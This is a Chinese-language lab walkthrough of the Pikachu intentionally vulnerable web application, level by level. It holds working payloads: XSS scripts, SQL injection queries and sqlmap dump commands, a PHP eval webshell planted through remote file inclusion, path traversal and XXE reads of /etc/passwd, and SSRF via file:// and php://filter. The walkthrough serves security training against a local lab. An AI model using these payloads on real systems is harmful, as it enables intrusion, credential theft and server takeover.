部署
docker run -d -p 32775:80 area39/pikachu:latest
暴力破解
基于表单的暴力破解
这里用burpsuite
进行爆破
采用集束炸弹模式
分别设置不同位置的payload
集
开始爆破
爆破到admin
的用户密码是123456
基于前端的验证码绕过
由于验证码是生成在前端的,所以后端是不检测验证码的,我们可以直接去除验证码参数
然后重复前面的操作即可
基于后端的验证码绕过
重复发了几次包,发现验证码在这几次发包中是不刷新的,所以我们可以直接发到攻击模块进行爆破,与前面一关是一样的
绕过token的暴力破解
**token的作用:**简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求
这里选择Pitchfork
爆破模式,爆password
与token
这里的token
可以从响应包中获取
使用递归提取并且填入第一次
可以看到成功了
但是我实验的时候发现,如果不巧正确的密码是第一个选项可能会是csrf token error
不知道是不是bug,其他的都没问题
Cross-Site Scripting
反射性xss(get)
<script>alert(1)</script>
起手,发现长度有限制,然而这个只是前段验证,参数直接在浏览器里面改就可以了
反射性xss(post)
先用admin
的账号登录进去
存储型xss
一般出现在留言板评论区,浏览器执行了留言板的xss代码
然后有人访问就会弹窗
Dom型xss
dom型,就是向文档对象传入xss代码参数,然后操作文档对象时就会触发xss攻击
这里发现,输入框里面的内容会传递给what do you see?
的跳转属性,直接javascript:alert(1)
xss盲打
输入你的xss
等管理员点进去你的留言,直接弹窗
xss过滤
由于<script>
标签被过滤
更换标签即可
<img src=1 onerror=alert(1)>
xss之htmlspecialchars
这个函数直接把单引号,双引号,尖括号都给过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。
由于输入的值会被加到href
属性中
直接用前文的技巧javascript:alert(1)
xss之href输出
javascript:alert(1)
xss之js输出
前面有script
包裹,因此我们只需要提前将script
给闭合就可以了
</script><script>alert('xss')</script>
CSRF
CSRF(get)
随便登录一个用户,修改个人信息
先抓包
利用bp
的csrf poc
生成器
如果有用户点击了这个按钮就会自动修改pikachu
的个人信息
CSRF(post型)
与get型的操作流程没有区别
CSRF(token)
需要在原来的提交信息中提取token
SQL-INJECT
数字型注入
1 and 1=1
不报错
1 and 1=2
报错
数字型注入
由order by
判断出列数为2
由union select
判断出回显位为1,2
根据回显位
判断出
id=-2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
查询敏感表users表中所有列
id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
id=-2 union select group_concat(username),group_concat(password) from users
字符型注入(get)
使用万能密码
' or '1'='1
查所有表
payload
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询
搜索型注入
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2"
接着爆库
payload
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --dbs
爆表
payload
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" --tables
爆字段名
payload
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns
爆数据
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikaachu" -T "users" -C "password,username" --dump
xx注入
报错注入
insert/update注入
报错注入
delete注入
删除操作的头部id处可控 可以构造框架进行sql注入
http头部注入
在UA头可以进行报错注入
User-Agent: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
布尔盲注
sqlmap跑吧
时间盲注
sqlmap跑
手注过于浪费时间
宽字节注入
name=1%df' union select version(),database() --+
查表
name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
查字段
name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+
爆数据
name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+
RCE
exec ping
exec eval
直接将txt
改为phpinfo();
File Inclusion
File Inclusion(local)
这个位置可控,可以读取服务器任意位置的文件
File inclusion(remote)
远程包含文件写入马
在我的服务器里写入webshell
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123]);?>');?>
然后服务器远程包含后会生成马
用蚁剑连接即可
Unsafe filedownload
通过查看下载文件的地址来可知, 其所处文件目录是/pikachu/vul/unsafedownload/download/
而我们要读取的文件在根目录下(/WWW
目录), 所以flag.txt的相对路径为../../../../flag.txt
, 最终构成的文件下载payload为http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../flag.txt
Unsafe fileupload
前端验证
绕过思路
查看此关卡的html源码可知, 这是在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。
可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过
mime type
抓包直接修改content type
MIME是通过判断你的文件类型(而不是后缀名)
getimagesize
上传图片马
getimagesize()
函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部
可通过制作图片木马或再木马文件内容头部添加GIF89a
(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马
Over Permission
水平越权
首先登录lucy用户, 然后点击个人信息, 查看当前url为:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF#
修改username
后发现到了别人的个人信息中心
垂直越权
首先登录超级管理员用户admin/123456
,使用burpsuite抓取添加用户的数据包并发送至Repeater模块
登录普通用户pikachu/000000
, 按F12查看当前用户Cookie值为r0audj31vere8ak4063bbp7vr2
返回burpsuite的Repeater模块, 打开上述抓到的数据包, 将Cookie值修改为pikachu用户的Cookie, 然后点击发送
发现pikachu
用户也可以创建用户
目录遍历
随便修改
?title=…/…/…/etc/passwd
敏感信息泄露
概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到
- 通过访问url下的目录,可以直接列出目录下的文件列表
- 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
- 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等
IcanseeyourABC
查看网页源码, 发现注释有测试用户的账号密码lili/123456
PHP反序列化漏洞
<?php
class S{
var $test="<script>alert(document.cookie)</script>";
}
$a=new S();
echo serialize($a)
?>
#O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
XXE
概述
XXE漏洞, 又称xml外部实体注入漏洞,概括来说就是攻击者通过向服务器注入指定的xml实体内容, 从而让服务器按照指定的配置执行, 也就是说服务端接收和解析了来自客户端的xml数据, 由于没有对此数据做严格的安全控制, 从而导致xml外部实体注入
在现在很多语言里用于解析xml的函数, 默认禁止解析外部实体内容, 从而就避免了此漏洞。以PHP为例, 在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT
选项开启了xml外部实体解析
利用实例
xml外部引用不仅支持file协议, 还支持http, ftp协议
如下代码所示, 利用file协议读取网站根目录下的flag.txt文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///../../../../etc/passwd">
]>
<x>&file;</x>
不安全的url跳转
这几个超链接都点一点,当点到“我就是我,放荡不羁的我”时,发现url地址栏中出现了url参数
我们构造payload访问百度
?url=http://www.baidu.com
这个应该可以配合钓鱼,xss,csrf之类的
SSRF
curl
Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等
首先点击第一关的链接, 点进去可以看到传递了参数url, 此值采用了http协议进行访问
利用file协议让服务器访问自己本地的文件, 构造的payload为http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///../../../../etc/passwd
利用dict协议扫描3306端口是否开放: http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306
file_get_content
可直接读取主机绝对路径或相对路径的文件, 也可以使用php伪协议进行利用
http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///../../../flag.txt
可通过php伪协议读取指定文件
http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../../../flag.txt